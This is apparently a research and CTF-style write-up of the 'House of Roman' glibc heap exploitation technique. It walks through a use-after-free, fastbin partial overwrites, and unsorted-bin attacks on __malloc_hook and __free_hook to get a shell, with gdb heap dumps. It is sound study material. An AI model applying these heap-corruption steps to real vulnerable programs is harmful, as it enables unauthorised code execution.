Table of Contents
House Of Roman
------> 2.1 Assumptions
------> 2.2 Protections
------> 2.3 Quick Walkthrough
------> 2.4 Setting the FD to malloc_hook
------> 2.5 Fixing the 0x71 freelist
------> 2.6 Unsorted Bin attack on malloc_hook
This is based on my research, did not see analogs published. If this is new, i propose to name it House of Roman
The first part discusses a "leakless" technique , purely based on heap feng shui , and tested successfully on a challenge binary with libc-2.24 (the one with the updated IO vtable checks) . So far all the heap techniques rely on atleast a libc/heap/text leak. This technique uses a 12-bit brute to gain a shell. Technically speaking , the only bug requried is a UAF, and the ability to malloc atleast unsorted bin, fastbins. This also works on binaries which close stdout, thereby only allowing us to send option number and data.
The second part shows how we can make a fastbin allocation anywhere, even in areas where we may find no size alignment for our fastbin (like __free_hook). This is much more universally applicable, and can be combined with the first part to control free_hook and replace it with puts_plt stub, or printf_plt stub and leak libc , in case the binary is non-PIE (and we fail to attack any global variables on the text section) .
Link for binary , libc and exploit : https://github.com/romanking98/House-Of-Roman
Like I stated above, only a UAF is required (or any bug that allows you to overlap/control FD/BK of a free chunk), but for the simplicity of demonstrating this technique on a challenge, I have also assumed a 1 byte overflow, just to change a size of a chunk. Of course, without the overflow, we can partially overwrite a FD pointer to our fake fast size chunk , overlap it with victim and achieve the same result as my 1 byte overflow.
We have only 3 options - allocate, delete and edit. We will pwn this in a truly heap fashion.
gef> checksec [+] checksec for '/home/vagrant/practice/new_chall' Canary : No NX : Yes PIE : Yes Fortify : No RelRO : Partial gef>
So its full PIE.
Here I present the idea, in words. If you want a full analysis, with gdb dumps and stuff, go down.
Part 1 : We have UAF, firstly, we try to get an allocation near __malloc_hook . But we don't know its address. We can partially overwrite an arena pointer, to point there. To align this correctly with the fastbin chunk, here is what we do : malloc(200),malloc(200), free(0) ( to get arena pointers ) , malloc(0x71) Now we have an "allocated 0x71" chunk with its 1st field set to an arena pointer. We can use the UAF to make the 0x71 freelist point to this allocated 0x71 chunk. Partial overwrite arena pointer. This way, we get allocation near malloc_hook.
Part 2 : We use our UAF, this time we do an unsorted bin attack on the malloc_hook itself. So now , the malloc_hook contains a libc address. Partial overwrite with magic gadget using the edit function.
Now, I feel this attack is more suited for attacking realloc hook, in programs which don't have the
edit function that I have used to partial overwrite my malloc_hook . Once we do the attack, we can't malloc anything, otherwise it will crash, whereas realloc is pretty easier to deal with.
4 bit brute to get to malloc_hook , 8 bit brute of the magic gadget offset. Total 12 bits brute. Seems ok to me :) .
Detailed Analysis - Part 1
Setting the FD to malloc_hook
gef> x/20xg 0x7fc0479fc000 0x7fc0479fc000: 0x0000000000000000 0x0000000000000021 0x7fc0479fc010: 0x0000000000000000 0x0000000000000000 0x7fc0479fc020: 0x0000000000000000 0x00000000000000d1 0x7fc0479fc030: 0x4141414141414141 0x4141414141414141 0x7fc0479fc040: 0x4141414141414141 0x4141414141414141 0x7fc0479fc050: 0x4141414141414141 0x4141414141414141 0x7fc0479fc060: 0x4141414141414141 0x4141414141414141 0x7fc0479fc070: 0x4141414141414141 0x4141414141414141 0x7fc0479fc080: 0x4141414141414141 0x4141414141414141 0x7fc0479fc090: 0x4141414141414141 0x0000000000000061 <-- fake chunk size gef> 0x7fc0479fc0a0: 0x0000000000000000 0x0000000000000000 0x7fc0479fc0b0: 0x0000000000000000 0x0000000000000000 0x7fc0479fc0c0: 0x0000000000000000 0x0000000000000000 0x7fc0479fc0d0: 0x0000000000000000 0x0000000000000000 0x7fc0479fc0e0: 0x0000000000000000 0x0000000000000000 0x7fc0479fc0f0: 0x0000000000000000 0x0000000000000071 0x7fc0479fc100: 0x0000000000000000 0x0000000000000000
I created a fake chunk size 0f 0x61, since I am about to change 0xd1 to 0x71. This can also be done through UAF : partial overwrite a heap FD pointer to point to fake chunk size, overlap and control. But its simpler to explain it this way.
We free it to get the arena pointers.
0x7fc0479fc020: 0x0000000000000000 0x00000000000000d1 0x7fc0479fc030: 0x00007fc046ba2b58 0x00007fc046ba2b58 0x7fc0479fc040: 0x4141414141414141 0x4141414141414141
We now allocate back 0xd1, and then change its size to 0x71
0x7fc0479fc020: 0x4141414141414141 0x0000000000000071 0x7fc0479fc030: 0x00007fc046ba2b58 0x00007fc046ba2b58 0x7fc0479fc040: 0x4141414141414141 0x4141414141414141
So this is an allocated 0x71 chunk. We need to make our other 0x71 FD freelist point here to make it look like a free chunk.
0x7fc0479fc0f0: 0x00000000000000d0 0x0000000000000071 <------ free 0x71 0x7fc0479fc100: 0x0000000000000000 0x0000000000000000 0x7fc0479fc110: 0x0000000000000000 0x0000000000000000 0x7fc0479fc120: 0x0000000000000000 0x0000000000000000 0x7fc0479fc130: 0x0000000000000000 0x0000000000000000 gef> 0x7fc0479fc140: 0x0000000000000000 0x0000000000000000 0x7fc0479fc150: 0x0000000000000000 0x0000000000000000 0x7fc0479fc160: 0x0000000000000000 0x0000000000000071 <------ free 0x71 0x7fc0479fc170: 0x00007fc0479fc0f0 0x0000000000000000
Thankfully, no need to brute here. Our chunk is at 0x20.
We partial overwrite with address of malloc_hook (the usual strategy)
gef> heapinfo (0x20) fastbin: 0x0 (0x30) fastbin: 0x0 (0x40) fastbin: 0x0 (0x50) fastbin: 0x0 (0x60) fastbin: 0x0 (0x70) fastbin: 0x7fc0479fc160 --> 0x7fc0479fc020 --> 0x7fc046ba2acd (size error (0x78)) --> 0xc046887420000000 (invaild memory) (0x80) fastbin: 0x0
We get allocation near malloc_hook.
Fixing the 0x71 Freelist
Before we go ahead, we need to fix our freelist. Its broken because of the
0xc046887420000000 . To fix it, just free a 0x71 chunk , and use the UAF to make the FD 0.
gef> heapinfo (0x20) fastbin: 0x0 (0x30) fastbin: 0x0 (0x40) fastbin: 0x0 (0x50) fastbin: 0x0 (0x60) fastbin: 0x0 (0x70) fastbin: 0x7fc0479fc1d0 --> 0x0 (0x80) fastbin: 0x0
Unsorted Bin attack on malloc_hook
Now we perform the unsorted bin attack on malloc_hook itself, and partial overwrite with the address of the magic gadget. From here on , we can only make allocs that can be served by fastbin freelists. So, if need be to do another fastbin attack anywhere else, we need to make sure our freelists are setup before we perform this step. Though it is not required in this scenario, since we have an edit function. Even without it, we can simply perform our attack on malloc_hook, then trigger our 0x71 fastbin attack on malloc_hook, and we need not worry about glibc malloc throwing up errors since it always goes through freelists first, and if found, returns immediately.
Attacking Free_Hook - A clean way of getting shell
In CTF challenges, we mostly end up attacking malloc_hook because of the proximity of the 0x7f alignment. Hence we can easily do a fastbin attack by shifting the address 5 bytes to get 0x7f as a fake , but valid 0x71 sized fastbin. However, malloc_hook does not give us control over $rdi . Hence we resort to magic gadgets . Free_hook , on the other hand, gives us control over $rdi -- the chunk we want to free. So this not only becomes a clean way of executing
system("/bin/sh") but also, assuming we don't have libc leak yet but binary is non-PIE.
We can put a puts_plt stub there to leak our arena pointers in heap. We can also put printf() and do a format string attack. In the end, controlling free_hook is so much more better, and again I present a way to do that, based purely on heap feng shui. (If this has been documented before, I shall gladly remove it)
This is what our free_hook vicinity looks like :
gef> x/4xg &__free_hook -4 0x7f29a9907778 <_IO_stdfile_0_lock+8>: 0x0000000000000000 0x0000000000000000 0x7f29a9907788 <__free_hook>: 0x0000000000000000 0x0000000000000000 gef>
If you see a libc ptr at
0x7f29a9907778 , it actually gets Nulled when we do our fastbin attack , leading to malloc_error. So we have to imagine it as NULL only.
Remember, unsorted bin attack allows us to write the address of main_arena + 0x58 anywhere. The 6th byte will most probably be 0x7f right ? So lets try to partially overwrite in such a way that we have
0x7f29a9f4e4d0: 0x0000000000000000 0x00000000000000d1 0x7f29a9f4e4e0: 0x4242424242424242 0x00007f29a990776b <------ bk of unsorted bin 0x7f29a9f4e4f0: 0x0000000000000000 0x0000000000000000 0x7f29a9f4e500: 0x0000000000000000 0x0000000000000000 0x7f29a9f4e510: 0x0000000000000000 0x0000000000000000
gef> x/xg 0x00007f29a990776b+0x10 0x7f29a990777b <_IO_stdfile_0_lock+11>: 0x00000000007f29a9 gef> 0x7f29a9907783 <__after_morecore_hook+3>: 0x0000000000000000 gef> 0x7f29a990778b <__free_hook+3>: 0x0000000000000000 gef>
Trigger unsorted bin attack.
gef> x/4xg &__free_hook -4 0x7f29a9907778 <_IO_stdfile_0_lock+8>: 0x00007f29a9d0a700 0x000000000000007f 0x7f29a9907788 <__free_hook>: 0x0000000000000000 0x0000000000000000 gef>
Cool, now we can point it there.
It works perfectly, and we get an allocation.
0x7f29a9d33160 <heap_ptrs>: 0x00007f29a9907788
We can again fix our fastbin 0x71 freelist by freeing another 0x71 chunk and then setting its fd to 0.
This is just a technique I came up with while doing some research, and thought to document it.
Using the basic idea of this technique, we can land a fastbin anywhere by just setting up the 0x7f with an unsorted bin attack. While before, fastbin attacks were only possible if there was a size alignment close to our target.